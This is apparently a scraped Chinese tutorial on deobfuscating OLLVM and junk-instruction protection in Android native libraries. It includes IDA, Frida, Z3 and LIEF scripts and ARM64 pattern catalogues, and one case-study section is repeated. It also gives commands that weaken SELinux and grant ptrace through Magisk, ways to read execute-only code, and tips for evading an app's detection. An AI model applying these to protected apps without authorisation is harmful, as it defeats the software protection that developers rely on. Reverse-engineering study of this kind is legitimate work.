\"\"\"检测控制流平坦化分发器模式\"\"\" func = idaapi.get_func(func_ea) flowchart = idaapi.FlowChart(func) # 检查是否存在高入度的基本块（分发器） in_degree = {} for block in flowchart: for pred in block.preds(): in_degree[block.start_ea] = in_degree.get(block.start_ea, 0) + 1 max_in_degree = max(in_degree.values()) if in_degree else 0 return max_in_degree \u003e 5 # 入度大于5可能是分发器 def has_bcf_pattern(func_ea): \"\"\"检测虚假控制流模式\"\"\" # 检查是否有大量从未执行的基本块 # 这需要配合动态分析 return False def has_junk_pattern(func_ea): \"\"\"检测花指令模式\"\"\" nop_count = 0 total_count = 0 for head in idautils.FuncItems(func_ea): total_count += 1 mnem = idc.print_insn_mnem(head).lower() if mnem == 'nop': nop_count += 1 return nop_count \u003e 10 or (total_count \u003e 0 and nop_count / total_count \u003e 0.1) 6.1.2 控制流恢复 // Frida 脚本：动态恢复控制流 function recover_control_flow(module_name, func_offset) { var module = Process.findModuleByName(module_name); var func_addr = module.base.add(func_offset); var state_transitions = []; var current_state = null; Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var instruction = iterator.next(); while (instruction !== null) { var addr = instruction.address; // 在目标函数范围内 if (addr.compare(func_addr) \u003e= 0 \u0026\u0026 addr.compare(func_addr.add(0x1000)) \u003c 0) { // 记录基本块转移 iterator.putCallout(function(context) { var pc = context.pc; var block_addr = get_block_start(pc); if (current_state !== null \u0026\u0026 current_state !== block_addr) { state_transitions.push({ from: current_state, to: block_addr.toString() }); } current_state = block_addr.toString(); }); } iterator.keep(); instruction = iterator.next(); } } }); // 调用目标函数多次以覆盖不同路径 var test_func = new NativeFunction(func_addr, 'int', ['int']); for (var i = 0; i \u003c 100; i++) { try { test_func(i); } catch (e) {} } Stalker.unfollow(); // 分析并输出恢复的 CFG console.log(\"\\n[*] Recovered Control Flow:\"); var unique_transitions = [...new Set(state_transitions.map(JSON.stringify))].map(JSON.parse); unique_transitions.forEach(function(t) { console.log(\" \" + t.from + \" -\u003e \" + t.to); }); // 生成 DOT 格式图 generate_dot_graph(unique_transitions); return unique_transitions; } function get_block_start(addr) { // 简化：返回对齐到 4 字节的地址 return ptr(addr.and(ptr(0xFFFFFFFFFFFFFFFC))); } function generate_dot_graph(transitions) { var dot = \"digraph CFG {\\n\"; dot += \" node [shape=box];\\n\"; transitions.forEach(function(t) { dot += ' \"' + t.from + '\" -\u003e \"' + t.to + '\";\\n'; }); dot += \"}\\n\"; console.log(\"\\n[*] DOT Graph:\"); console.log(dot); // 保存到文件 var file = new File(\"/data/local/tmp/cfg.dot\", \"w\"); file.write(dot); file.close(); } 6.1.3 完整去混淆流程 # 完整的去混淆分析流程 class DeobfuscationPipeline: def __init__(self, binary_path, output_path): self.binary_path = binary_path self.output_path = output_path self.results = {} def run(self): \"\"\"执行完整的去混淆流程\"\"\" print(\"[*] Starting deobfuscation pipeline\") # 1. 初步分析 print(\"\\n[1/6] Initial analysis...\") self.initial_analysis() # 2. 花指令去除 print(\"\\n[2/6] Removing junk code...\") self.remove_junk_code() # 3. 控制流平坦化去除 print(\"\\n[3/6] Deflattening control flow...\") self.deflatten_cff() # 4. 虚假控制流去除 print(\"\\n[4/6] Removing bogus control flow...\") self.remove_bcf() # 5. 指令","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:6:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#612-控制流恢复"},{"categories":null,"collections":null,"content":"6.1 案例：某加固 SO 的去混淆分析 6.1.1 初步分析 # 1. 提取目标 SO 文件 # adb pull /data/app/com.target.app/lib/arm64-v8a/libnative.so # 2. IDA Pro 加载分析 import idaapi import idc def initial_analysis(): # 统计函数混淆情况 stats = { 'total_functions': 0, 'suspected_cff': 0, 'suspected_bcf': 0, 'suspected_junk': 0 } for func_ea in idautils.Functions(): stats['total_functions'] += 1 func = idaapi.get_func(func_ea) if not func: continue # 检查控制流平坦化特征 if has_dispatcher_pattern(func_ea): stats['suspected_cff'] += 1 # 检查虚假控制流特征 if has_bcf_pattern(func_ea): stats['suspected_bcf'] += 1 # 检查花指令特征 if has_junk_pattern(func_ea): stats['suspected_junk'] += 1 print(f\"Analysis Results:\") print(f\" Total functions: {stats['total_functions']}\") print(f\" Suspected CFF: {stats['suspected_cff']}\") print(f\" Suspected BCF: {stats['suspected_bcf']}\") print(f\" Suspected Junk: {stats['suspected_junk']}\") return stats def has_dispatcher_pattern(func_ea): \"\"\"检测控制流平坦化分发器模式\"\"\" func = idaapi.get_func(func_ea) flowchart = idaapi.FlowChart(func) # 检查是否存在高入度的基本块（分发器） in_degree = {} for block in flowchart: for pred in block.preds(): in_degree[block.start_ea] = in_degree.get(block.start_ea, 0) + 1 max_in_degree = max(in_degree.values()) if in_degree else 0 return max_in_degree \u003e 5 # 入度大于5可能是分发器 def has_bcf_pattern(func_ea): \"\"\"检测虚假控制流模式\"\"\" # 检查是否有大量从未执行的基本块 # 这需要配合动态分析 return False def has_junk_pattern(func_ea): \"\"\"检测花指令模式\"\"\" nop_count = 0 total_count = 0 for head in idautils.FuncItems(func_ea): total_count += 1 mnem = idc.print_insn_mnem(head).lower() if mnem == 'nop': nop_count += 1 return nop_count \u003e 10 or (total_count \u003e 0 and nop_count / total_count \u003e 0.1) 6.1.2 控制流恢复 // Frida 脚本：动态恢复控制流 function recover_control_flow(module_name, func_offset) { var module = Process.findModuleByName(module_name); var func_addr = module.base.add(func_offset); var state_transitions = []; var current_state = null; Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var instruction = iterator.next(); while (instruction !== null) { var addr = instruction.address; // 在目标函数范围内 if (addr.compare(func_addr) \u003e= 0 \u0026\u0026 addr.compare(func_addr.add(0x1000)) \u003c 0) { // 记录基本块转移 iterator.putCallout(function(context) { var pc = context.pc; var block_addr = get_block_start(pc); if (current_state !== null \u0026\u0026 current_state !== block_addr) { state_transitions.push({ from: current_state, to: block_addr.toString() }); } current_state = block_addr.toString(); }); } iterator.keep(); instruction = iterator.next(); } } }); // 调用目标函数多次以覆盖不同路径 var test_func = new NativeFunction(func_addr, 'int', ['int']); for (var i = 0; i \u003c 100; i++) { try { test_func(i); } catch (e) {} } Stalker.unfollow(); // 分析并输出恢复的 CFG console.log(\"\\n[*] Recovered Control Flow:\"); var unique_transitions = [...new Set(state_transitions.map(JSON.stringify))].map(JSON.parse); unique_transitions.forEach(function(t) { console.log(\" \" + t.from + \" -\u003e \" + t.to); }); // 生成 DOT 格式图 generate_dot_graph(unique_transitions); return unique_transitions; } function get_block_start(addr) { // 简化：返回对齐到 4 字节的地址 return ptr(addr.and(ptr(0xFFFFFFFFFFFFFFFC))); } function generate_dot_graph(transitions) { var dot = \"digraph CFG {\\n\"; dot += \" node [shape=box];\\n\"; transitions.forEach(function(t) { dot += ' \"' + t.from + '\" -\u003e \"' + t.to + '\";\\n'; }); dot += \"}\\n\"; console.log(\"\\n[*] DOT Graph:\"); console.log(dot); // 保存到文件 var file = new File(\"/data/local/tmp/cfg.dot\", \"w\"); file.write(dot); file.close(); } 6.1.3 完整去混淆流程 # 完整的去混淆分析流程 class DeobfuscationPipeline: def __init__(self, binary_path, output_path): self.binary_path = binary_path self.output_path = output_path self.results = {} def run(self): \"\"\"执行完整的去混淆流程\"\"\" print(\"[*] Starting deobfuscation pipeline\") # 1. 初步分析 print(\"\\n[1/6] Initial analysis...\") self.initial_analysis() # 2. 花指令去除 print(\"\\n[2/6] Removing junk code...\") self.remove_junk_code() # 3. 控制流平坦化去除 print(\"\\n[3/6] Deflattening control flow...\") self.deflatten_cff() # 4. 虚假控制流去除 print(\"\\n[4/6] Removing bogus control flow...\") self.remove_bcf() # 5. 指令","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:6:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#613-完整去混淆流程"},{"categories":null,"collections":null,"content":"7. OLLVM 在 Android ARM64 上的特征模式 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:7:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#7-ollvm-在-android-arm64-上的特征模式"},{"categories":null,"collections":null,"content":"7.1 ARM64 控制流平坦化特征 ARM64 架构下控制流平坦化（FLA）的分发器有几种典型模式。最常见的是 CMP + B.EQ 链： // ARM64 FLA 典型分发器模式 // 特征: CMP + B.EQ 链或 TBZ/TBNZ 链 _dispatcher: LDR W8, [SP, #0x20] // 加载状态变量 CMP W8, #0x1234 // 比较状态值 B.EQ block_A // 跳转到对应块 CMP W8, #0x5678 B.EQ block_B CMP W8, #0x9ABC B.EQ block_C B _dispatcher // 默认回到分发器 block_A: // ... 真实代码 ... MOV W8, #0x5678 // 更新状态变量 → 下一个块是 block_B STR W8, [SP, #0x20] B _dispatcher // 返回分发器 除了最基本的 CMP 链之外，还有几种更复杂的分发变体： Hash-based dispatch（Hikari 风格）：使用 CRC32 指令对状态变量进行哈希，再通过跳转表间接分发。这种方式使得状态值与实际跳转目标之间的关系更难静态分析。 // Hash-based dispatch variant (Hikari style) LDR W8, [SP, #state_var] CRC32W W9, WZR, W8 // Hash the state AND W9, W9, #0xF // Mask to table size ADR X10, jump_table LDR X10, [X10, X9, LSL #3] // Load target from table BR X10 // Indirect branch Table-based dispatch（跳转表分发）：利用 ARM64 的 ADR + LDR + BR 组合，通过一张跳转表实现分发。这种模式在 IDA 中通常表现为无法识别的 switch 语句。 // Table-based dispatch LDR W8, [SP, #state_var] SUB W8, W8, #base_state // 归一化状态值 CMP W8, #table_size B.HS _default // 越界检查 ADR X9, jump_table LDRSW X10, [X9, X8, UXTW #2] // 加载偏移量 (32位有符号扩展) ADD X9, X9, X10 // 计算目标地址 BR X9 // 跳转 CSEL-based dispatch（条件选择分发）：对于只有两个后继块的情况，编译器可能使用 CSEL 指令代替分支，使控制流在汇编层面看起来是线性的。 // CSEL-based dispatch (两路分发) LDR W8, [SP, #state_var] MOV W9, #0x1234 // 状态值 A MOV W10, #0x5678 // 状态值 B CMP W0, #0 // 条件判断 CSEL W8, W9, W10, EQ // 根据条件选择下一个状态 STR W8, [SP, #state_var] B _dispatcher ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:7:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#71-arm64-控制流平坦化特征"},{"categories":null,"collections":null,"content":"7.2 ARM64 虚假控制流特征 虚假控制流（BCF）在 ARM64 上的核心特征是不透明谓词 + 永远不会执行的分支。以下是典型模式： // BCF 典型模式: 使用 CSEL + 不透明谓词 LDR W8, [X19] // 加载某个值 MUL W9, W8, W8 // W9 = x * x AND W9, W9, #1 // W9 = x² mod 2 CBNZ W9, fake_branch // x² mod 2 永远为 0, 永远不跳 // real code continues here... B continue fake_branch: // 垃圾代码 continue: 常见的 ARM64 不透明谓词模式包括： MADD/MSUB 谓词：利用乘法结果的数学恒等式构造永真/永假条件。 // MADD 不透明谓词: x*(x+1) 永远是偶数 LDR W8, [SP, #var] ADD W9, W8, #1 MADD W10, W8, W9, WZR // W10 = x * (x+1) AND W10, W10, #1 // W10 = (x*(x+1)) mod 2 CBNZ W10, fake_path // 永远不跳转 UBFX/SBFX 位域操作：通过位域提取构造复杂的不透明表达式，增加分析难度。 // UBFX 不透明谓词 LDR W8, [SP, #var] MUL W9, W8, W8 // x² UBFX W10, W9, #0, #1 // 提取最低位 (等价于 AND #1) CBZ W10, real_path // x² 的最低位永远是 0 → 永真跳转 B fake_path // 永远不执行 CCMP 链（多条件标志）：使用 ARM64 特有的条件比较指令链来构造复杂的条件组合，使得不透明谓词在反编译器中呈现为多个条件的逻辑组合，大幅增加分析难度。 // CCMP 链不透明谓词 LDR W8, [SP, #var] MUL W9, W8, W8 // W9 = x² CMP W9, #0 // 比较 x² 与 0 CCMP W8, W8, #0, GE // 如果 x²\u003e=0 (永真), 再比较 x==x B.NE fake_path // x==x 永真, NE 永假 → 永远不跳 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:7:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#72-arm64-虚假控制流特征"},{"categories":null,"collections":null,"content":"7.3 ARM64 指令替换特征 指令替换（Instruction Substitution）将简单算术运算展开为等价的复杂位运算组合。以下是 ARM64 上常见的替换模式： // 原始: ADD X0, X1, X2 // SUB 替换方案 1: 双补码加法 NEG X3, X2 // X3 = -X2 SUB X0, X1, X3 // X0 = X1 - (-X2) = X1 + X2 // SUB 替换方案 2: MBA 展开 AND X3, X1, X2 // X3 = X1 \u0026 X2 EOR X4, X1, X2 // X4 = X1 ^ X2 ADD X0, X4, X3, LSL #1 // X0 = (X1^X2) + 2*(X1\u0026X2) = X1+X2 // SUB 替换方案 3: 位运算展开 (更深层) ORN X3, X1, X2 // X3 = X1 | ~X2 MVN X4, X1 // X4 = ~X1 AND X4, X4, X2 // X4 = ~X1 \u0026 X2 MVN X5, X3 // X5 = ~(X1 | ~X2) = ~X1 \u0026 X2 (same as X4) // ... 多步运算最终等价于 ADD 在实际分析中，指令替换的深度可能达到 3-4 层嵌套，导致原本 1 条指令展开为 10-20 条。识别的关键在于：观察是否存在大量 EOR/AND/ORR/MVN/ORN 组合，且最终结果写入一个寄存器后被后续代码直接使用。 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:7:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#73-arm64-指令替换特征"},{"categories":null,"collections":null,"content":"7.4 ARM64 MBA 表达式识别 Mixed Boolean-Arithmetic（MBA）表达式是 OLLVM 指令替换的核心技术，将算术运算和布尔运算混合，使得 Z3 等 SMT 求解器也难以直接化简。以下是实际 APP 中常见的 MBA 模式： // MBA: a + b = (a ^ b) + 2 * (a \u0026 b) EOR X3, X0, X1 // X3 = a ^ b AND X4, X0, X1 // X4 = a \u0026 b ADD X5, X3, X4, LSL #1 // X5 = (a^b) + 2*(a\u0026b) = a + b // MBA: a - b = (a ^ b) - 2 * (~a \u0026 b) EOR X3, X0, X1 // X3 = a ^ b BIC X4, X1, X0 // X4 = ~a \u0026 b (BIC = bit clear) SUB X5, X3, X4, LSL #1 // X5 = (a^b) - 2*(~a\u0026b) = a - b // 嵌套 MBA (2层): 更复杂的等价替换 // a + b = ((a | b) + (a \u0026 b)) ORR X3, X0, X1 // X3 = a | b AND X4, X0, X1 // X4 = a \u0026 b ADD X5, X3, X4 // X5 = (a|b) + (a\u0026b) = a + b 更深层次的嵌套 MBA 会将上述基本模式中的子表达式再次展开。例如 (a ^ b) 可能被展开为 (~a \u0026 b) | (a \u0026 ~b)，而 (a \u0026 b) 可能被展开为 ~(~a | ~b)，导致一个简单的加法最终变成十几条位运算指令。 MBA 表达式的自动识别方法： # 使用 Z3 自动识别和化简 ARM64 MBA 表达式 from z3 import * def verify_mba_pattern(expr_func, expected_func, bits=64): \"\"\"验证一个 MBA 表达式是否等价于某个简单运算\"\"\" a, b = BitVecs('a b', bits) s = Solver() s.add(expr_func(a, b) != expected_func(a, b)) return s.check() == unsat # unsat = 等价 # 常见 MBA 模式验证 patterns = [ (\"(a^b) + 2*(a\u0026b)\", lambda a,b: (a^b) + 2*(a\u0026b), lambda a,b: a+b), (\"(a^b) - 2*(~a\u0026b)\", lambda a,b: (a^b) - 2*(~a\u0026b), lambda a,b: a-b), (\"(a|b) + (a\u0026b)\", lambda a,b: (a|b) + (a\u0026b), lambda a,b: a+b), (\"(a|b) - (a^b)\", lambda a,b: (a|b) - (a^b), lambda a,b: a\u0026b), (\"(a\u0026b) | (a^b)\", lambda a,b: (a\u0026b) | (a^b), lambda a,b: a|b), ] for name, expr, expected in patterns: result = verify_mba_pattern(expr, expected) # print(f\"{name} == a+b/a-b/...: {result}\") ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:7:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#74-arm64-mba-表达式识别"},{"categories":null,"collections":null,"content":"8. OLLVM 变体在 Android 生态中的分布 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:8:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#8-ollvm-变体在-android-生态中的分布"},{"categories":null,"collections":null,"content":"8.1 主流 OLLVM 变体识别指南 Android 生态中存在多种 OLLVM 变体，每种都有独特的特征。准确识别变体类型有助于选择最合适的去混淆策略。 原版 OLLVM 特征： 单层 while-switch 分发器 不透明谓词仅使用简单数学恒等式（如 x*x \u003e= 0） 指令替换深度通常为 1-2 层 字符串不加密 状态变量使用单一整型变量 基本块之间通过直接赋值状态值进行转移 Hikari 特征： 嵌套分发器（2-3 层 switch），外层分发器选择函数区域，内层分发器选择具体基本块 FunctionWrapper：所有外部函数调用通过 trampoline 间接调用，增加交叉引用分析难度 字符串加密：.init_array 中有批量解密函数，通常在 SO 加载时自动执行 AntiClassDump：ObjC metadata 被打乱（iOS 特有，Android 端无此特征） IndirectBranch：使用 BLR/BR 替代 BL/B，所有分支变成间接跳转 状态变量可能使用 CRC32 哈希进行分发 Pluto-Obfuscator 特征： TrapAngr pass：插入针对 angr 的反分析代码，使符号执行陷入死循环或路径爆炸 GlobalEncryption：全局变量在 constructor 中解密，.init_array 中包含全局变量解密函数 Flattening 使用更复杂的状态变量更新方式（可能使用位运算如 XOR、旋转） 间接跳转使用 ADRP+ADD+BR 模式，页面相对寻址增加重定位分析难度 MBA 表达式替换深度可达 3 层 商业方案特征： 梆梆加固：通常 VMP + OLLVM 叠加，SO 文件的 .text 段部分或全部被 VMP 保护，剩余部分使用 OLLVM 混淆 爱加密：自定义 OLLVM 变体 + 字符串加密，特征是 .init_array 数量异常多且解密函数有固定签名 360 加固：多层壳 + 选择性 OLLVM，核心算法函数使用 OLLVM，外围函数不混淆 网易易盾：OLLVM + 环境检测，混淆强度较高，同时嵌入多种反调试和反 Hook 检测 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:8:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#81-主流-ollvm-变体识别指南"},{"categories":null,"collections":null,"content":"8.2 版本识别自动化脚本 以下脚本通过分析 SO 文件的结构特征，自动推断其使用的 OLLVM 变体： import lief def identify_ollvm_variant(so_path): \"\"\"自动识别 SO 文件使用的 OLLVM 变体\"\"\" binary = lief.parse(so_path) features = { 'has_init_array': False, 'init_array_count': 0, 'indirect_branch_ratio': 0, 'avg_basic_blocks_per_func': 0, 'has_crc32_dispatch': False, 'has_nested_switch': False, } # 检查 .init_array init_array = binary.get_section('.init_array') if init_array: features['has_init_array'] = True features['init_array_count'] = init_array.size // 8 # ARM64 pointer size # 检查是否有大量间接跳转 (Hikari IndirectBranch 特征) text_section = binary.get_section('.text') if text_section: text_data = bytes(text_section.content) br_count = 0 bl_count = 0 total_insn = len(text_data) // 4 # ARM64 固定 4 字节指令 for i in range(0, len(text_data) - 3, 4): insn = int.from_bytes(text_data[i:i+4], 'little') # BR Xn: 1101011 0000 11111 000000 Rn 00000 if (insn \u0026 0xFFFFFC1F) == 0xD61F0000: br_count += 1 # BL: 100101 imm26 if (insn \u003e\u003e 26) == 0b100101: bl_count += 1 if total_insn \u003e 0: features['indirect_branch_ratio'] = br_count / total_insn # 判断变体 if features['init_array_count'] \u003e 20: return \"Hikari (大量 init_array 暗示字符串加密)\" elif features['has_crc32_dispatch']: return \"Hikari (CRC32 哈希分发)\" elif features['indirect_branch_ratio'] \u003e 0.05: return \"Hikari (高间接跳转比例暗示 IndirectBranch pass)\" elif features['init_array_count'] \u003e 5: return \"Pluto/Armariris (中等 init_array)\" elif features['has_init_array'] and features['init_array_count'] \u003c= 5: return \"原版 OLLVM 或轻度混淆\" else: return \"未检测到明显 OLLVM 特征，可能是未混淆或使用 VMP\" # 使用 # result = identify_ollvm_variant(\"libnative.so\") # print(f\"检测结果: {result}\") ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:8:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#82-版本识别自动化脚本"},{"categories":null,"collections":null,"content":"9. Android 版本差异对花指令/OLLVM 分析的影响 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:9:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#9-android-版本差异对花指令ollvm-分析的影响"},{"categories":null,"collections":null,"content":"9.1 NDK 编译工具链变化 不同 NDK 版本使用的编译器和默认配置不同，直接影响 OLLVM 变体的兼容性和混淆效果： NDK 版本 默认编译器 LLVM 版本 默认 ABI 对 OLLVM 的影响 r16 Clang 5.0 5.0 armeabi-v7a 与原版 OLLVM 4.0 兼容 r17-r20 Clang 8.0 8.0 armeabi-v7a 需要 OLLVM 适配到 LLVM 8 r21-r22 Clang 11 11 arm64-v8a Hikari/Pluto 主要适配版本 r23-r24 Clang 14 14 arm64-v8a LLD 默认链接器，影响 section 布局 r25-r26 Clang 17 17 arm64-v8a 需要最新 OLLVM 变体适配 r27+ Clang 18+ 18+ arm64-v8a 16KB 页面对齐支持 关键变化点： NDK r21 起 arm64-v8a 成为默认 ABI，逆向分析中遇到的 SO 文件绝大多数是 ARM64 NDK r23 起 LLD 成为默认链接器，影响 ELF section 布局和重定位方式 OLLVM 变体需要针对 LLVM 版本重新移植，高版本 LLVM IR 变化可能导致旧版 OLLVM pass 不兼容 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:9:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#91-ndk-编译工具链变化"},{"categories":null,"collections":null,"content":"9.2 Execute-Only Memory (XOM) 影响 (Android 10+) Android 10 引入了 Execute-Only Memory（XOM）特性，将 .text 段设置为仅可执行、不可读。这对逆向分析有重大影响： XOM 的影响： Memory.readByteArray() 直接读取代码段可能失败（权限被拒绝） 内存 dump 工具无法直接读取代码内容 基于内存扫描的特征匹配（如搜索花指令模式）可能受阻 Frida Stalker 不受影响（使用 ptrace 机制绕过） 绕过方案： // Frida: XOM 对 Stalker 无影响 (ptrace 绕过) // 但 Memory.readByteArray 在某些设备上可能失败 // 安全的读取方式: function safeReadCode(addr, size) { try { return Memory.readByteArray(addr, size); } catch(e) { // Fallback: 使用 /proc/self/mem var fd = new File(\"/proc/self/mem\", \"r\"); fd.seek(addr.toInt32()); var data = fd.readBytes(size); fd.close(); return data; } } // 更稳健的方案: 通过 mprotect 修改权限 function readCodeWithMprotect(addr, size) { var pageSize = 4096; var pageAddr = addr.and(ptr(~(pageSize - 1))); // 页对齐 var mprotect = new NativeFunction( Module.findExportByName(null, \"mprotect\"), 'int', ['pointer', 'uint', 'int'] ); // PROT_READ | PROT_EXEC = 0x5 var result = mprotect(pageAddr, size + (addr.sub(pageAddr).toInt32()), 0x5); if (result === 0) { return Memory.readByteArray(addr, size); } return null; } ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:9:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#92-execute-only-memory-xom-影响-android-10"},{"categories":null,"collections":null,"content":"9.3 16KB 页面大小 (Android 14+) Android 14 开始支持 16KB 页面大小（主要在 ARM64 设备上），这对 ELF 加载和二进制分析有以下影响： ELF 段对齐变化： ELF 的 PT_LOAD 段对齐从 4KB（0x1000）变为 16KB（0x4000） SO 文件体积可能因对齐填充而增大 文件偏移与内存偏移的映射关系发生变化 对逆向分析的影响： IDA Pro / Ghidra 加载 SO 时需要确认页面大小设置 手动计算虚拟地址与文件偏移的映射时需使用 16KB 对齐 Frida 中 Module.base 仍然准确，但计算 section 偏移时需注意对齐差异 使用 inline hook / 二进制 patch 时，patch 点所在的页面边界可能不同 IDA Pro 加载配置调整： 在 Load File 对话框中确认 segment alignment 设置 对于 16KB 对齐的 SO，使用 idaapi.get_segm_by_sel() 验证段边界 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:9:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#93-16kb-页面大小-android-14"},{"categories":null,"collections":null,"content":"9.4 SELinux 策略对动态分析的限制 Android 各版本持续收紧 SELinux 策略，对动态分析工具的影响逐步加大： 各版本关键限制： Android 版本 SELinux 变化 对动态分析的影响 5.0-6.0 Enforcing 模式成为默认 ptrace 需要 allow 规则 7.0 neverallow 规则增加 部分自定义 policy 被拒 8.0 Treble 架构分离 vendor 域策略独立 9.0 限制 debugfs 部分内核调试功能失效 10.0 XOM + scoped storage 代码段不可读 + 文件访问受限 11.0 更严格的 exec 限制 /data/local/tmp 执行权限收紧 12.0+ 限制 /proc 访问 /proc/pid/mem 读取受限 14.0+ 16KB 页面 + 更多 neverallow 内存布局变化 对 Frida 的具体影响： frida-server 需要以 root 权限运行并位于 SELinux 允许执行的路径 注入目标进程时可能因 SELinux domain transition 规则被阻止 /proc/pid/maps 和 /proc/pid/mem 的访问可能受限 Magisk 的 SELinux 绕过机制： Magisk 通过 magiskpolicy 工具在启动时注入自定义 SELinux 规则 使用 magisk --denylist 管理隐藏列表，避免被目标 APP 检测 MagiskHide/Zygisk 可以在 fork 子进程时临时修改 SELinux context 对于 Frida 分析，通常需要配合 Magisk 的 SELinux 规则修改： # 通过 Magisk 添加允许 Frida 运行的 SELinux 规则 magiskpolicy --live \"allow su * process ptrace\" magiskpolicy --live \"allow su * file { read write execute }\" # 检查当前 SELinux 状态 getenforce # 临时设置为 Permissive (需要 root) setenforce 0 注意：在生产环境中，大量 APP 会检测 SELinux 状态。将 SELinux 设为 Permissive 可能触发 APP 的安全检测。建议使用 Magisk 的精细化规则控制而非全局关闭。 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:9:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#94-selinux-策略对动态分析的限制"},{"categories":null,"collections":null,"content":"总结 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:10:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#总结"},{"categories":null,"collections":null,"content":"花指令与 OLLVM 对比 特性 花指令 OLLVM 作用层级 汇编/机器码 LLVM IR 主要目标 干扰反汇编 混淆控制流和数据流 实现复杂度 低-中 高 分析难度 中 高 性能影响 小 中-大 去混淆方法 模式匹配、动态执行 符号执行、数据流分析 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:10:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#花指令与-ollvm-对比"},{"categories":null,"collections":null,"content":"去混淆策略建议 分层处理：先去花指令，再处理 OLLVM 动静结合：静态分析识别模式，动态执行验证 工具组合：IDA Pro + Frida + 